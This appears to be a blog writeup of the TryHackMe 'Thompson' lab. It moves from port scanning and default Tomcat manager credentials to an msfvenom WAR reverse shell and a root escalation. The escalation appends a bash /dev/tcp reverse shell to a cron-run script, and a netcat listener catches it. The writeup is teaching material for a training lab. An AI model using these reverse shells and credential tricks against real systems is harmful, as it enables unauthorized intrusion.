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THM Writeup - Thompson

THM Writeup - Thompson

manfcg manfcg
January 3, 2025
2 min read
pentest tryhackme writeup
index

Room link: https://tryhackme.com/r/room/bsidesgtthompson

I started with enumeration

Terminal window
nmap -oN nmap.txt -Pn -T4 -sC -sV 10.10.188.85
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
8009/tcp open  ajp13    Apache Jserv (Protocol v1.3)
8080/tcp open  http     Apache Tomcat 8.5.5

I went to the site http://10.10.188.85:8080

I clicked Manager App and it asked me for a login

I tried admin:tomcat and tomcat:tomcat but it didn’t let me in, so I pressed cancel button and it displayed some interesting information

By using username tomcat and password s3cret I was able to log in to the site

Scrolling down, I noticed that I could upload a .war file - I didn’t know what it was, but after a quick Google search, I found out that it’s a file used to distribute a collection of JAR-files, JavaServer Pages, Java Servlets, Java classes

I checked the available metasploit payloads

I used java/jsp_shell_reverse_tcp using the

Terminal window
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war > rev.war

In the second terminal window I turned on msfconsole and typed:

  • use multi/handler
  • set payload java/jsp_shell_reverse_tcp

I also set LHOST and LPORT based on what I typed into msfvenom

  • set LHOST=IP
  • set LPORT=PORT

at the end i typed exploit

and I uploaded this exploit to the site

after clicking on /rev i was possible to access the shell. I immediately spawned beter one, using python

Terminal window
python3 -c "import pty; pty.spawn('/bin/bash')"

Going through the directories, I managed to find the flag of the user

Time to escalate permissions, I checked sudo -l but it told me to enter the password, so I’ll try to find another way

Let’s check the crontab cat /etc/crontab

well, and we have something interesting, id.sh in jack’s home directory - I’ll just check the permissions of this file via the ls -la /home/jack/id.sh command

great, it looks like this could be our way to escalate permissions, let’s just check what’s in this file

I will add a reverse shell using echo:

Terminal window
echo "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1" >> /home/jack/id.sh

in the next terminal window I enabled netcat

Terminal window
nc -nvlp LPORT

and after a while I was able to access the root shell. All that was left was to pull the root flag